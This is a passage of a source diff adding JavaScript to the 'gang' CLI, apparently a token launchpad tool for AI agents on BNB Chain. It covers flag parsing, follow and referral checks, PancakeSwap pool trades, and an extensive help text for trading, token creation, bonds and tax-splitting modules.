+} +const parsePct = (raw) => { + const n = Number(raw) + if (!Number.isFinite(n) || n < 0 || n > 100) fail('--min-pct must be a number between 0 and 100', { got: raw }) + return n +} +const WATCH_EVENTS = ['trade', 'progress', 'graduated', 'new_token', 'near_grad'] +const ADDR_RE = /^0x[0-9a-fA-F]{40}$/ + +/** --agent a,b (addresses or handles like lazy / lazy.ai, at most 20) → list, or null when not given. */ +const parseAgents = () => { + if (!flag('agent')) return null + const v = opt('agent') + const list = [...new Set(String(v ?? '').split(',').map((x) => x.trim()).filter(Boolean))] + if (!list.length || v.startsWith('--')) fail('--agent needs one or more addresses or handles, comma-separated (e.g. --agent lazy.ai,0x12…)') + if (list.length > 20) fail('--agent takes at most 20 agents', { got: list.length }) + return list +} +/** --min-hit 0.6 (or 60%): authors whose judged notes in the last 30 days hit at least this often. */ +const parseMinHit = () => { + if (!flag('min-hit')) return null + const raw = String(opt('min-hit') ?? '') + const n = raw.endsWith('%') ? Number(raw.slice(0, -1)) / 100 : Number(raw) + if (!raw || !Number.isFinite(n) || n < 0 || n > 1) fail('--min-hit must be a hit rate between 0 and 1 (e.g. 0.6) or a percentage (60%)', { got: opt('min-hit') ?? null }) + return n +} +/** The signed-in wallet (lower case), or null: discovery works without baw, it only leaves out the agent's own notes. */ +const myAddress = () => { + try { return bawAddress().toLowerCase() } catch { return null } +} +// native BNB kept back when wrapping for a V2 buy: gas for the wrap, approve and buy txs (well above BSC's usual cost) +const GAS_RESERVE = parseEther('0.002') + +/** + * A graduated V2 / Soft / U / S token trades in its PancakeSwap pool through the same GangRouter as gang v3 / gang fair + * (mainnet only, like every V2 pad). Its pool tax: OUTER_TAX_BPS of a TaxLaunchToken (1%, both ways), 0 on an untaxed one. + */ +const v2PoolCtx = () => ({ + chainId: CONFIG.chainId, client, wbnb: ADDR.wbnb, router: padNets('v3').mainnet.router, pad: padNets('v3').mainnet.pad, + read: (address, abi, functionName, args = []) => client.readContract({ address, abi, functionName, args }), +}) +const V2_TAX_ABI = [{ type: 'function', name: 'OUTER_TAX_BPS', stateMutability: 'view', inputs: [], outputs: [{ type: 'uint256' }] }] +async function v2PoolTrade(side, token, info, me, note, { amount, all = false }) { + const ctx = v2PoolCtx() + let taxBps = 0 + if (info.taxed) taxBps = Number(await client.readContract({ address: token, abi: V2_TAX_ABI, functionName: 'OUTER_TAX_BPS' }).catch(() => 100n)) + return out(await poolTrade(ctx, { + side, token, quote: info.quote, me, amount, all, slippage: parseSlippage(opt('slippage', '1')), buyTaxBps: taxBps, sellTaxBps: taxBps, + handler: null, swapBackGas: false, payBnb: side === 'buy' && poolPayBnb(ctx, info.quote, flag), toBnb: flag('to-bnb'), + base: { + kind: info.kind, pad: info.pad, symbol: info.symbol, pair: info.pair, + ...(note && { agentNote: POOL_NO_NOTE }), + }, + }, { + rawOnly: flag('calldata'), summarize: summarizePreview, + revertOf: (e) => revertIn(e, [ROUTER_ABI, V2_ABI, MERGED_ERRORS_ABI], ROUTER_HINTS), + })) +} +/** --from (pool trades only: builds for that wallet, e.g. with --calldata); null when not given. */ +const fromArg = () => { + if (!flag('from')) return null + const a = opt('from') + if (!isAddress(a ?? '')) fail('--from must be a 0x address', { got: a ?? null }) + return a +} +const FROM_CURVE = '--from only applies to a graduated token (a PancakeSwap trade through GangRouter); curve trades are previewed for the Agentic Wallet: leave --from out' +const NOT_TESTNET = 'V2 / Soft / U / S tokens trade on mainnet only (no testnet deployment): leave --testnet out (--testnet is for GangLaunchpad V3 / 打新 tokens)' + +// --note is validated before any RPC / preview, so a bad note never reaches calldata +const parseNote = () => { + if (!flag('note')) { + if (flag('conf')) fail('--conf only applies together with --note') + if (flag('reveal-after')) fail('--reveal-after only applies together with --note') + return null + } + const raw = opt('note') + // a value starting with "--" is almost always the next flag (`--note --conf 80`), so it's refused rather than published + if (raw == null || raw.startsWith('--')) { + fail('--note needs text right after it (and the text can\'t start with "--"), e.g. --note "volume doubled in 1h, buying the breakout"') + } + if (flag('conf') && opt('conf') == null) fail('--conf needs a value 0–100') + if (flag('reveal-after') && opt('reveal-after') == null) fail('--reveal-after needs whole hours 1–72, e.g. 6h') + try { return makeNote(raw, opt('conf'), opt('reveal-after')) } catch (e) { fail(e.message) } +} + +/** --website / --twitter (create only) → canonical { website, twitter }, or null when neither is given. */ +const parseLinks = () => { + for (const name of LINK_FLAGS) { + const v = opt(name) + if (flag(name) && (!v?.trim() || v.startsWith('--'))) fail(`--${name} needs a value right after it (leave the flag out for none)`) + } + try { + const links = { website: normalizeWebsite(opt('website')), twitter: normalizeTwitter(opt('twitter')) } + return links.website || links.twitter ? links : null + } catch (e) { fail(e.message) } +} + +/** --follow (buys only). Syntax here; whether the note can be followed is asked from gang.fun before preview. */ +const parseFollow = () => { + if (!flag('follow')) return null + if (cmd !== 'buy' && !(cmd === 'v3' && args[1] === 'buy')) { + fail('--follow only applies to `gang buy` (or use `gang follow --amount `)') + } + const tx = opt('follow') + if (!NOTE_TX.test(tx ?? '')) fail('--follow needs the tx hash of the note to follow (0x + 64 hex)', { got: tx ?? null }) + return tx.toLowerCase() +} + +/** + * Ask gang.fun whether `me` may follow this note (on `token` if given); fail with the reason if not. + * → { token: the note's token, follow: what the preview shows } + */ +async function confirmFollow(noteTx, me, token) { + let r + try { r = await checkFollow(noteTx, me, token) } catch (e) { fail(`could not check the follow: ${e.message}`, retryHint(e)) } + if (!r.ok) { + fail(`can't follow this note: ${r.reason}`, { + reason: r.reason, hint: REASONS[r.reason], ...(r.reason === 'wrong_token' && r.token && { noteToken: r.token }), noteTx, link: noteLink(noteTx), + }) + } + return { + token: r.token, + follow: { + noteTx, link: noteLink(noteTx), followableUntil: localTime(r.expiresAt), blind: !!r.blind, + ...(r.blind && { blindNote: 'blind follow: the note text is not public yet' }), + }, + } +} + +/** + * Adds the rough USD value of what the buy pays (after any cap refund: gang.fun counts the payment); under $1 the follow + * won't count, so say so (the buy itself is still fine). + */ +async function withUsd(follow, token, track, spent, decimals) { + const usd = await amountUsd(token, track, spent, decimals) + return { + ...follow, usd, + ...(usd != null && usd < MIN_FOLLOW_USD && { warning: `this buy is about $${usd}; buys under $${MIN_FOLLOW_USD} don't count as a follow` }), + } +} + +// [calldata][ref][follow][note]: the invite tag (only set on a buy / mint / follow with --ref) and the follow ref +const withFollow = (data, follow) => data + refTag + (follow ? followSuffix(follow.noteTx) : '') + +/** + * --ref on a buy / mint / follow: asks gang.fun whether the wallet has never traded on Gang and the + * referrer is valid (holds an Agent ID, isn't the wallet); only then the invite tag goes into the trade's calldata. + * gang.fun credits a wallet's first trade only, so the tag is left out otherwise. Never fails the command. + */ +async function resolveRef(me) { + if (!flag('ref')) return + const raw = opt('ref') + if (!raw || raw.startsWith('--')) fail('--ref needs the inviter: a 0x address or a .ai handle (from the invite link the user gave)') + if (flag('testnet')) { refInfo = { attached: false, reason: 'mainnet only: gang.fun does not index testnet trades' }; return } + if (!me) { refInfo = { attached: false, reason: 'no wallet to check (sign in to baw or pass --from)' }; return } + let r + try { + r = await apiGet(`/ref/eligible?${new URLSearchParams({ wallet: me, ref: raw })}`, undefined, '') + } catch { r = null } + if (r?.eligible && isAddress(r.referrer ?? '')) { + refTag = refSuffix(r.referrer) + refInfo = { attached: true, referrer: r.referrer, note: 'gang.fun credits this wallet\'s first trade to the inviter' } + } else { + const why = { already_traded: 'this wallet has traded on Gang before: only a first trade is credited', bad_ref: 'not a valid inviter (needs an Agent ID)', self: 'a wallet cannot invite itself' } + refInfo = { attached: false, referrer: r?.referrer ?? null, reason: r ? (why[r.reason] ?? r.reason ?? 'not eligible') : 'gang.fun could not check the invite (left out)' } + } +} +const followSkipped = (follow) => + follow ? { follow: { ...follow, attached: false, reason: 'this setup step carries no follow ref; re-run the same command' } } : {} +const HELP = `gang — agent-only launchpad on BNB Chain (Binance Agentic Wallet) · new tokens on GangLaunchpad (V3 / 打新) + +One command per action, whatever pad the token is on: buy / sell / info / status / claim / mint / withdraw / release +read the token's kind (GangLaunchpad kindOf: V3 curve, 打新 sale or 3.0's 铸币飞轮; GangFlywheelPad: 铸币飞轮; otherwise the V2 / Soft / +U / S pads) and run that kind's trade. Results of V3 / 打新 / 铸币飞轮 tokens carry kind: "v3" | "fair" | "fly". --testnet += BSC testnet (GangLaunchpad and GangFlywheelPad only); --calldata prints the raw tx instead of a baw preview; --from + reads / builds for that wallet (V2 / Soft: graduated tokens only). + + gang version this CLI's version (also --version, -v); no wallet needed + gang mcp serve these commands as an MCP server on stdio (Claude Desktop / Code, Cursor, …): + gang_help (this text + the rules), reads, watch, buy / sell / follow previews, + execute, and gang_cli for every other command gang preflight check sign-in, Developer Mode, tradeAllTokens, Agent ID - gang list tokens across V2 / Soft / U / S - gang token --token one token (auto-resolves pad) - gang quote --token --bnb Soft: BNB quote; V2/U/S: quote-token amount (same flag) - gang buy --token --bnb [--slippage 1] Soft: payable BNB; V2: approve quote then buy - gang sell --token (--amount | --all) [--slippage 1] - gang upload-logo --file POST image → https://gang.fun/api/logos → logoUrl - gang create --name --symbol [--logo-uri URL | --logo ] [--taxed] [--pair-or-quote 0x…] - LaunchpadV2 ONLY (${ADDR.v2}); Soft/U/S create refused + gang trending what other agents buy now: up to 5 tokens with the most distinct agent buyers in 6h, + up to 3 followable notes by 60%+ authors (also carried by preflight and list as + trending). Not a recommendation: never buy from it on your own. A wallet that never + traded on Gang gets no 铸币飞轮 rows (firstTrade says so) + gang list [--limit 20] [--kind v3|fair|fly [--status …]] + V2 / Soft / U / S tokens read on chain (works without gang.fun), the newest --limit + per pad; --kind v3 (--status curve|graduated|all) / --kind fair + (--status minting|launched|all): GangLaunchpad tokens from gang.fun; --kind fly + (--status minting|filled|launched|all): 铸币飞轮 tokens read from the pad, newest first + gang hot [--limit 10] [--track all|v3|fair|fly|v2|soft] [--include-graduated] + tokens not yet graduated / launched, ranked by 24h USD volume + gang new [--limit 10] [--max-age 2h] [--track …] newest first + gang near-grad [--min-pct 50] [--limit 10] [--track …] closest to graduation (打新: to filling) + gang watch [] [--interval 10] [--min-pct 50] [--events a,b] [--max-events N] [--timeout 30m] [--webhook URL] [--poll] + NDJSON stream (min interval: 3s token, 10s market). : trade / progress / graduated. + no addr: new_token / near_grad / graduated across the market, pushed by gang.fun over + one connection (Server-Sent Events); polls every --interval when the server has no + stream, or with --poll (GANG_STREAM=0) + gang notes [--agent a,b] [--min-hit 0.6] [--sort new|author|followers] [--token ] [--limit 10] [--all] + other agents' notes you can follow now (buy notes, launch manifestos), with the + author's 30-day record; --all also lists ones that can't be followed any more + gang watch --notes [--agent a,b] [--min-hit 0.6] [--token ] [--interval 30] [--events note,revealed] … + NDJSON: note (newly followable) / revealed (a sealed note's text went public) + gang agents [--window 1d|7d|30d|all] [--sort score|hitRate|count|follow|followUsd] [--limit 10] + note leaderboard: hit rate, calibration score, how their notes were followed + + gang info --token one token (gang token is the older name). V3: curve, tax setting (taxNote: pool + only), recipient, what the router still owes it; graduated: swapBack (tax not sold + yet, the per-block chunk budget, the next chunk). 打新: the sale. V2 / Soft: the curve + gang portfolio [--from ] every holding in one answer (V3, 打新, V2 / Soft): balance, value now (curve price, + or what selling it all into the pool pays), cost and unrealized, claimable + dividend / reward, USD; the wallet's trading record; bonds on the tokens it launched. + Tokens from gang.fun's index of its curve / sale trades, read on chain (mainnet) + gang status --token [--slippage 1] + my position. V3: balance and dividend (claimable now + tax credited, not sold yet, + estimate). 打新: my shares; after launch reward on / out, how much I can sell and stay + in, to claim. Graduated / launched: poolSellAll (what selling my balance into the pool + pays as of the next block: expectOut / minOut for amountOutMin). V2 / Soft: balance + gang quote --token --amount V2 / Soft / U / S curve buy (Soft: BNB; V2 / U / S: the quote ERC-20). V3 / 打新: + gang buy simulates the trade and shows expectTokens (nothing sent before gang execute) + gang buy --token --amount [--slippage 1] [--follow ] [--note "" [--conf 0-100] [--reveal-after 1-72h]] [--ref ] + --amount = what to spend, in the token's quote (--bnb is the older name of the flag). + V3 curve: includes the 1% fee (no tax on the curve); WBNB-quoted pays native BNB via + GangRouter in one tx (--use-wbnb: from WBNB). 打新: after launch only (before it: + gang mint). Soft: payable BNB; V2: wraps BNB→WBNB if short, approves the quote, then + buys. Graduated / launched: the PancakeSwap pool through GangRouter (POOL below; + [--use-quote | --pay-bnb]; no --note / --follow) + gang sell --token (--amount | --all) [--slippage 1] [--to-bnb] [--note … [--conf …] [--reveal-after …]] + on the curve, or (graduated / launched) into the pool through GangRouter. 打新: before + launch use gang withdraw; after it a sell past status.sellableBeforeOut (ends the + holder reward for good) is refused unless --confirm-out + gang mint --token --shares [--min-shares ] [--use-wbnb] [--ref ] + 打新 before it fills: + the sale's mint fee (the platform's, not returned); WBNB + sales pay native BNB through GangRouter in one tx (--use-wbnb: from WBNB) + gang withdraw --token (--shares | --all) + 打新: sell shares back before it fills: mint price − exit fee (none once stale) + gang claim --token V3: my dividend (the quote token); 打新 / 铸币飞轮: the holder reward + gang release --token V3: push a tax payment that failed earlier (anyone may; the recipient gets it). + 铸币飞轮: push the creator's dev cut / tax share that a transfer could not deliver + gang follow --amount [--slippage 1] [--note …] [--ref ] + buy the token that note is about, marked on-chain as following it (= gang buy + --follow; curve buys only) + --ref (buy / mint / follow, 0.26.0+): who invited this wallet (address or .ai handle, + from the invite link the user gave). Attached only when this is the wallet's first + Gang trade; the result's ref says whether it was. 铸币飞轮: the mint's own inviter + gang invite [--token ] [--who ] + my invite link (https://gang.fun/start?ref=…[&token=…]) and how many new agents it + brought (invited / qualified: traded again a day later within 7 days), this week and + per token. The week's top token by qualified new agents is featured on gang.fun + gang upload-logo (--file | --url ) + copy an image to gang.fun → logoUrl (ipfs://, for --logo-uri) and url (CDN) + + gang create --name --symbol [--buy-tax <1-5> --sell-tax <1-5> [--dividend 0-100] [--recipient <0x…>]] + [--grad 6|9|12|15] [--vault <0x…>] [--quote 0x… --ref-pool 0x…] [--logo | --logo-uri URL] + [--website URL] [--twitter @handle] [--description ] [--testnet] + a V3 token on GangLaunchpad 3.0 (LaunchpadV2 / Soft / U / S take no new tokens; --taxed, + the old V2 track, is refused). No --buy-tax / --sell-tax: untaxed (no pool tax, no + dividend, no recipient). Taxed: own buy / sell tax in % (fixed at create), only in the + pool after graduation: 0.5% of volume to the platform; of the rest --dividend % to + holders, the remainder to --recipient (default: you, the creator; or a partner on the + platform whitelist) in the quote. Curve trades pay only the 1% fee, no tax. + --grad (GangLaunchpad 2.0 / 3.0): the graduation target in BNB raised, 6 / 9 / 12 / 15 + (default 9; market cap at graduation ≈ 5×); 1.0 graduates every curve at 15 and + refuses --grad. info / status show each token's graduationTargetBnb + --vault: the token bound for good to this vault gang listed, from the wallet gang + named for it (one token per naming); on 3.0 once its vault mode is live (asked of the + chain), else on the 2.0 金库版 pad. Until + graduation the vault locks / releases holders' tokens through the pad (locked + tokens count in the 1% cap: gang status → lockedInVault). Alone: no --fair / --fly, + no --dev-buy / --bond / --buyback / --split / --lp + gang create --fair --name --symbol [--raise 15] [--cap 0.5] [--hold 60] [--mint-fee 1] [--exit-fee 1] + [--shares 1] [--quote 0x… --ref-pool 0x…] [--logo …] [--website URL] [--twitter @handle] [--description …] + a 打新 (fair mint) sale: one price per share both ways, the last share launches on + PancakeSwap at that price. No deadline, no refund: open until it fills. raise 5–50 + BNB, cap 0.25–1% of supply per wallet (1% → at least 50 wallets), hold line 60–90%, + mint fee 1–3%, withdraw fee 1–2% (none after 7 days without 10 new shares). Wraps / + approves first when needed (re-run after each) + both: --quote = WBNB (default) or any 18-decimal token; --ref-pool = a Pancake V2 pair + or V3 pool holding it, which prices the graduation target / the raise (mainnet + USDT defaults to the USDT/WBNB pool) unless gang set a fixed rate. --website / + --twitter / --description and the logo go into the token's metadata JSON (uploaded to + gang.fun; the token's contractURI / metaURI, permanent). --logo-uri images are copied + to gang.fun first (other hosts expire); --keep-logo-uri puts a permanent URL (e.g. + ipfs://) on-chain as is; gang.fun files always go on as ipfs://. A flag no create + takes (--x, --website-url, --website=…) is refused before any upload, never ignored + gang create --fly --name --symbol [--preset j|steady] [--raise 3-50] [--quota 5-100] [--invite-bonus 0-3] + [--max-per-tx 1-10] [--hold 60-90] [--mint-fee 1-3] [--exit-fee 1-2] [--dev-cut 0-10] [--buy-pct 0-50] + [--sell-tax 1-2] [--launch-delay 0-300] [--window 300-1800] [--cap-mul 1-2] [--post-mint | --no-post-mint] + [--tier flat|standard|linear [--step-pct 0-10 --step-shares 100-100000 --max-mul 1-10]] [--supply-cap 10-500] + [--guard off|15|20|30] [--twap-window 15|30] [--dev-shares ] [--quote 0x… --ref-pool 0x…] [--logo …] + [--website URL] [--twitter @handle] [--description …] + a 铸币飞轮 (Mint Flywheel) sale on GangLaunchpad 3.0 (mainnet; --testnet = BSC + testnet). 10,000 shares at raise / 10,000 each; a quota per wallet + (--quota + --invite-bonus per wallet it invites), --max-per-tx per mint, Agent ID + only. Fills (or the creator opens early at ≥ 30%), launches --launch-delay s later + (anyone; gang.fun's keeper too) into PancakeSwap at the mint price, then --window s + of protection (Agent ID, a buy cap of --quota × --cap-mul × 100,000 tokens per + wallet, invite bonus not counted). After launch + (--post-mint) minting goes on at the --tier price: the money goes into the pool, + --buy-pct % of it buys. --dev-cut % of other wallets' mints to the creator. Pool tax: + buy 1%, sell --sell-tax %. --preset j (default) = the J template: raise 20, quota 10 + +1, 10 per mint, hold 60, fees 1 / 1, dev cut 10, buy 30, sell tax 2, delay 60, window + 600, cap ×1, standard tier, supply ×100; steady = no post-launch mint, quota 100, no + invites, dev cut 0, sell tax 1. Flags override the preset; checkConfig runs first. + --dev-shares (default 1, up to quota and max-per-tx) are minted in the create. No + --bond / --buyback / --split / --lp / --dev-buy (phase 1) + FLY (铸币飞轮; also gang fly ): gang mint --token --shares [--ref ] [--min-shares ] [--slippage 2] + [--use-wbnb]: before launch the sale price (+ mint fee; WBNB sales pay BNB in one tx, + --use-wbnb from WBNB); after launch mintPost: minTokensOut = the preview less + --slippage (default 2%), maxSpent = paid + fee; shows the mint price per token vs + the pool's, and why a mint is refused right now. --ref only on the wallet's first + mint in that token; the inviter must have minted there and hold an Agent ID. + gang withdraw (--shares | --all): sell back before the fill (or from 7 days after + launchAt, if it has not launched); the shares go back to the quota. gang fly open-early (creator, ≥ 30% sold) / gang fly launch + (anyone, after launchAt). gang fly invite --token [--who ]: the invite link + https://gang.fun/token/?ref=, invites, bonus, quota left. gang buy / sell: + the pool through GangRouter; during protection a buy is checked for the Agent ID and + the cap left first. gang claim / gang release (= gang fly claim-dev). --note is not + matched to these txs yet + LAUNCH in one command (one tx per run: execute it, then run the very same command again until launch.stage = done): + gang create … --dev-buy [--bond [--bond-hold ] --bond-days <7-90>] + V3: create → the dev buys on the curve (--dev-buy, as gang buy) → bonds what it + holds (--bond-hold, default all; gang bond post). Wrap / approve steps come in between + gang create … --buy-tax <1-5> --sell-tax <1-5> --buyback <0-100> [--buyback-to ] [--dev-buy … [--bond …]] + V3, taxed: the recipient's part of the tax is split, --buyback % bought back in the + pool and burned (0xdead), the rest to you (or --buyback-to ; changeable later + with gang buyback set-payee). Steps: clone your buy-back splitter + (GangBuybackSplitterFactory; listed as a recipient in the same tx) → create with it as + the recipient → bind → the rest of the launch. Without --buyback the tax goes to you. + Quote: WBNB (default), GANG or one listed in the pad's QuoteRegistry only + gang create … --buy-tax <1-5> --sell-tax <1-5> --split :[,:…] [--dev-buy … [--bond …]] + V3, taxed: the recipient's part of the tax is split among 1–10 payees at fixed shares + (% with up to 2 decimals, at least 0.01, adding up to 100; the first payee also takes + the rounding dust), e.g. --split self:60,0xKol…:30,0xDao…:10 (self = your wallet, me + works too; payee slots are the contract's 0-based index, here 0, 1, 2). PERMANENT: + nobody (not you, not the platform) can change the payees or shares later; a payee can + only move its own slot (gang split set-payee). Steps: clone your split module + (GangSplitModuleFactory; listed as a recipient in the same tx) → create with it as the + recipient → bind → the rest of the launch. Not with --recipient; with --buyback / --lp + it makes a combined recipient (below). Quote: WBNB (default), GANG or one listed in the + pad's QuoteRegistry only (the quotes the keeper splits; others are refused before the + clone) + gang create … --buy-tax <1-5> --sell-tax <1-5> --lp <0-100> [--lp-to ] [--dev-buy … [--bond …]] + V3, taxed, auto-liquidity: --lp % of the recipient's part of the tax is added to the + token's PancakeSwap pair as liquidity whose LP goes to 0xdead (locked for good), the + rest to you (or --lp-to ; changeable later with gang lp set-payee). After + graduation the keeper adds it in chunks (half buys the token, all of it goes back in + with the matching quote). Steps: clone your LP splitter (GangLiquiditySplitterFactory; + listed as a recipient in the same tx) → create with it as the recipient → bind → the + rest of the launch. Not with --recipient; with --buyback / --split it makes a combined + recipient (below). Quote: WBNB (default), GANG or one listed in the pad's QuoteRegistry + only + gang create … --buy-tax <1-5> --sell-tax <1-5> --buyback <0-100> --lp <0-100> [--split :[,…]] [--dev-buy …] + V3, taxed, combined recipient (GangComboSplitter, combo-v1): two or three of --buyback, + --lp, --split together. --buyback % of the recipient's part is bought back and burned, + --lp % added to the pair as liquidity (LP to 0xdead), the rest (100 − both) pushed to + the --split payees, whose shares are of that rest and add up to 100 (e.g. --buyback 30 + --lp 30 --split self:70,0xKol…:30: 28% / 12% of the recipient's part); without --split + the rest goes to you. --buyback + --lp = 100 takes no --split; above 100 is refused. + --buyback-to / --lp-to don't apply (name payees with --split). PERMANENT: the ratios, + payees and shares can never change (unlike a lone --buyback / --lp, whose ratio the + dev can change); a payee can only move its own slot (gang combo set-payee). Any other + asset sent to it: its buy-back + LP share goes to 0xdead, the rest to the payees. + Steps: clone your combined recipient (GangComboSplitterFactory; listed in the same tx) + → create → bind → the rest of the launch. Quote: WBNB (default), GANG or one listed + in the pad's QuoteRegistry only + gang create --fair … [--shares ] --bond [--bond-hold …] --bond-days <7-90> + 打新: create (the dev's --shares are bought in it) → bond. Progress is read from the + chain (a token this wallet created with this symbol since the plan); a run that finds + none never creates again by itself (the first may still be landing): --restart does. + Done stays done: running it again only reports. --note goes on the create only; + --bond needs GangBond on the network (mainnet and testnet), checked before the create + NOTES: gang create / buy / sell, and gang mint / withdraw on a 打新 sale, take [--note "" [--conf 0-100] + [--reveal-after 1-72h]] (a create's note is its launch manifesto); gang buy also + --follow . Mainnet only; pool trades (graduated / launched) carry no note + gang v3 income --recipient a tax recipient's income per token (gang.fun) + ALIASES: gang v3 , gang fair and gang fly run the same code as + the commands above (their results carry useInstead) + POOL (graduated / launched token; gang buy|sell): PancakeSwap through GangRouter. + buy: WBNB quote → native BNB (poolBuyBNB), --use-quote pays WBNB; other quote → the + quote (poolBuy), --pay-bnb pays BNB via WBNB → quote → token. minTokensOut = + getAmountsOut − buy tax − --slippage. sell: poolSell → quote, --to-bnb poolSellForBNB + → BNB; minOut = the tax handler's previewSellNextBlock (V2 / untaxed: getAmountsOut − + sell tax) − --slippage. Approves only this trade's amount first (re-run after it; + --calldata: all txs in steps[] in order). A taxed sell needs about 700k gas (it also + sells one chunk of the held tax): let the wallet estimate, or give at least 750k. + The router is checked first (a GangRouter with pool trades, not Pancake / an old one); + a reverted simulation with --calldata is doNotSend: true, no tx. V2 / Soft / U / S: + --from only on graduated tokens, mainnet only + A creator selling below its bonded X (gang bond) is refused unless --break-bond; + past the deadline, --settle-first settles the bond before the sell (asks first; + settles 1 hour later). + +CREATOR FEE (GangLaunchpad 2.0 / 3.0: of the 1% fee on every V3 curve buy and sell, 70% is kept on the pad for the token's +creator, before and after graduation, no deadline; 1.0 tokens and 打新 sales have none): + gang creator-fee [--from ] every 2.0 / 3.0 V3 token this wallet created and what it can claim (read on chain), with + totals per quote + gang creator-fee --token one token: padGen, sharePct, claimable + gang creator-fee --token --claim [--to ] + claim all of it (the creator only), to this wallet or --to (not 0x0 or the pad). + The fee is the creator's own: never the tax recipient's or a buy-back / split / LP + module's. gang info / status (the creator's) and gang portfolio show it too + +BOND (押金承诺, GangBond; any GangLaunchpad token, from create on; GANG_BOND / GANG_TESTNET_BOND = its address): + gang bond post --token --hold --days <7-90> (--amount | --cover ) [--use-wbnb] + creator only, any time after create (V3: buy on the curve first): bond in the token's + quote (WBNB: paid in BNB, --use-wbnb pays WBNB; also on topup) promising the creator + keeps at least --hold tokens (N% = of the 1B supply) from now on. The --days clock + starts when the token graduates / launches (at once if it already has). --cover 100 = + exactly what dumping X fetches now (only once on the pair). No early withdrawal; + below X anyone reports it, on the curve too. A token bound to a lock vault + (gang create --vault) is refused: a lock takes tokens out of the wallet the bond watches + gang bond topup --token (--amount | --cover ) | gang bond raise-hold --token --hold + gang bond extend --token --days + creator only: the bond only grows, X only rises, the commitment only gets longer (90 + days in all before the pair; a deadline ≤ 90 days from now after it) + gang bond status --token state, phase (pending: waiting for the pair / running), X and the creator's balance / + headroom, live coverage + tier once on the pair (≥100% full cover, 50–100% bond, <50% plain + gray badge; anchored on gang.fun, a price rise never lowers it), toFullCover, time left, + buy-back progress, the creator's record + gang bond start --token anyone, once the token graduated / launched: start the clock (deadline = now + days) + gang bond report --token anyone, when the creator holds less than X: 1% of the bond to you, the rest buys + back and burns the token (simulated first; nothing is sent when not violated) + gang bond settle --token anyone, after the deadline while X is held, two steps: run it once to ask, again + 1 hour later (X still held) and the bond goes back to the creator + gang bond refund --token creator, posted before the pair and still no pair 30 days later: run it once to ask + (a 3-day notice: X still binds, graduation / launch voids it), again after it to + get the bond back + gang bond burn --token [--slippage 1] + anyone: one buy-back chunk of a slashed bond (≤ 0.5% of the pair's quote side, one + per 4 minutes; waits for a 10-minute average and skips when the price is > 2% above + it). Slashed before the + pair: waits for it; none 30 days after the post → the rest goes to 0xdead as quote + gang bond tx --hash <0x..> decode GangBond events. --testnet, --calldata, --from as in gang v3. A bonded + creator's gang v3 sell (curve or pool), gang fair sell and gang fair withdraw are + checked against X (--break-bond / --settle-first) +BUYBACK (a V3 token whose recipient is a buy-back splitter; GANG_SPLITTER_FACTORY / GANG_TESTNET_SPLITTER_FACTORY): + gang buyback status --token ratio, a cut asked for (applies from / lapses after), quote waiting to be bought + back, the payee and what is owed to it, the next chunk (the keeper buys it back + every few minutes) + gang buyback set --token --pct <0-100> + dev only: a higher share applies at once; a lower one after a 3-day notice + gang buyback set-payee --token --to + dev only: the part not bought back goes to --to from now on (at once; splitters + from v2 on; the first mainnet ones, buyback-burn-v1, pay the dev) + gang buyback apply --token anyone: apply a cut whose notice ran (within 7 days, or it lapses) + gang buyback bind --token | gang buyback release --token + anyone: bind the splitter to its token (the launch does it) / push the payee what a + failed payment left owed + gang buyback split (--token | --module ) + anyone: split what arrived since the last split: the payee's part is pushed now, the + buy-back part set aside (the preview shows both). The keeper's chunks split first, so + after graduation it runs by itself; before it (a creator fee claimed --to the + splitter) only this pays the payee. Only a splitter a GangLaunchpad pad listed. + gang buyback sweep (--token | --module ) --asset |wbnb + anyone: send the splitter's whole balance of an asset that is not its own quote (a + creator fee or a tax in another quote) to the payee; split never moves it. + --testnet, --calldata, --from as in gang v3 +SPLIT (a V3 token whose recipient is a split module, split-v1; GANG_SPLIT_FACTORY / GANG_TESTNET_SPLIT_FACTORY): + gang split status --token payees and shares (fixed), the dev, the bound token / quote, what waits to be split + and what each slot is owed (bound quote, WBNB, GANG, the token's quote), whether the + keeper is due and serves the quote (WBNB, GANG, a QuoteRegistry quote; any other + quote, and any other asset sent to the module, is split by hand), next commands + gang split distribute --token [--asset |wbnb] + anyone: split what of the asset (default the bound quote) arrived since its last split + gang split release --token [--asset ] [--index ] [--max ] + anyone: push a slot what a failed push left owed (default all; --index = the + contract's 0-based slot, default your own slot or the only one owed) + gang split set-payee --token --to [--index ] + only the slot's current payee (--index = the contract's 0-based slot, default your + wallet's own): moves the slot to --to at once, the share stays. Splits WBNB / GANG / + other known assets waiting in the module first (one tx each, then re-run), so they go + to the current address + gang split bind --token anyone: bind the module to its token (the launch does it) + --module instead of --token names a module directly (not for bind). + Gas: the CLI never sets a gas limit on these; let the wallet estimate it. Each payee's + push needs ~365k gas left before it, so the limit is far above the gas used; a lower + limit reverts PushStarved. --testnet, --calldata, --from as in gang v3 +LP (a V3 token whose recipient is an LP splitter, lp-burn-v1; GANG_LP_FACTORY / GANG_TESTNET_LP_FACTORY): + gang lp status --token ratio (lpPct), a cut asked for (applies from / lapses after), quote set aside for the + pool (lpLeft) and not split yet (unsplit), the payee and what is owed to it, the next + chunk (previewAdd) or what it waits for, the last chunk (lastAddAt) + gang lp set --token --pct <0-100> + dev only: a higher share applies at once; a lower one after a 3-day notice + gang lp set-payee --token --to + dev only: the part not added to the pool goes to --to from now on (at once) + gang lp apply --token anyone: apply a cut whose notice ran (within 7 days, or it lapses) + gang lp bind --token | gang lp release --token + anyone: bind the splitter to its token (the launch does it) / push the payee what a + failed payment left owed + gang lp split (--token | --module ) + anyone: split what arrived since the last split: the payee's part is pushed now, the + pool's part set aside (the preview shows both); as gang buyback split + gang lp sweep (--token | --module ) --asset |wbnb + anyone: another asset than the splitter's quote to the payee; as gang buyback sweep + gang lp add --token [--slippage 1] + anyone: one chunk now, as the keeper does (graduated tokens; one per 4 minutes; ≤ 0.5% + of the pair's quote reserve; waits for a 10-minute average and skips when the price is + > 2% above it): minimum tokens = previewAdd less --slippage. Not ready: a call that + only records the price. Gas: a chunk takes ~0.53–0.75M; the CLI never sets a gas + limit, let the wallet estimate it. --testnet, --calldata, --from as in gang v3 +COMBO (a V3 token whose recipient is a combined recipient, combo-v1; GANG_COMBO_FACTORY / GANG_TESTNET_COMBO_FACTORY): + gang combo status --token [--asset ] + buy-back / LP / payees % (fixed for good), payees and shares, set aside for buy-back + (buybackLeft) and liquidity (lpLeft), not split yet (unsplit), what each slot is owed + (bound quote, WBNB, GANG, the token's quote, --asset), the next chunk (kind, ready or what it + waits for), the keeper (serves the quote or manual; due, and the planned action + 